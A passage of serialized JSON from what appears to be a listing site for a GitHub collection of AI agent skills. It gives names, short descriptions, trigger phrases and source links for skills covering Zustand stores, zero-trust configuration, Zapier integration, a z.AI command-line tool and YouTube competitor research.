Zustand.","MIT","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-ts\u002FSKILL.md",[],[],{"skillNo":82,"name":83,"nameZh":6,"description":84,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":6,"sourceHtmlUrl":85,"categories":86,"keywords":87,"publishedAt":20},"01M76R4T9KENDH7FENGZQHBW4G","zustand-store-creator","Zustand Store Creator - Auto-activating skill for Frontend Development.\nTriggers on: zustand store creator, zustand store creator\nPart of the Frontend Development skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-creator\u002FSKILL.md",[],[],{"skillNo":89,"name":90,"nameZh":6,"description":91,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":6,"sourceHtmlUrl":92,"categories":93,"keywords":94,"publishedAt":20},"01M76R3YWN84B7SANJ52X799ZE","zero-trust-config-helper","Zero Trust Config Helper - Auto-activating skill for Security Advanced.\nTriggers on: zero trust config helper, zero trust config helper\nPart of the Security Advanced skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzero-trust-config-helper\u002FSKILL.md",[],[],{"skillNo":96,"name":97,"nameZh":6,"description":98,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":20},"01M76R3HNSV2AEYSKHM915GJ58","zapier-integration-helper","Zapier Integration Helper - Auto-activating skill for Business Automation.\nTriggers on: zapier integration helper, zapier integration helper\nPart of the Business Automation skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzapier-integration-helper\u002FSKILL.md",[],[],{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":106,"categories":107,"keywords":108,"publishedAt":20},"01M76R3DJSKAT4FA7DV4BF3GCE","zai-cli","Execute z.AI CLI providing vision, search, reader, and GitHub exploration via CLI and MCP.\nUse when user needs image\u002Fvideo analysis, OCR, UI-to-code conversion, error diagnosis,\nreal-time web search, web page to markdown extraction, or GitHub code exploration.\nTrigger with phrases like \"analyze this image\", \"search the web for\", \"read this page\",\n\"explore this repo\", or \"use zai\". Requires Z_AI_API_KEY.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzai-cli\u002FSKILL.md",[],[],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":6,"sourceHtmlUrl":113,"categories":114,"keywords":115,"publishedAt":20},"01M76R2KAM699XE9AJVAWE4H2E","yt-research","Research competitor YouTube channels, niches, and trending topics for your content strategy.\nUse this skill whenever the user says \"research channels\", \"analyze competitors\", \"find trending topics\",\n\"niche analysis\", \"competitive research\", \"what are other creators doing\", \"scrape YouTube channels\",\nor wants to understand the competitive landscape for a specific tool or topic area. Use when working with yt research. Trigger with 'yt', 'research'.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fyt-research\u002FSKILL.md",[],[]]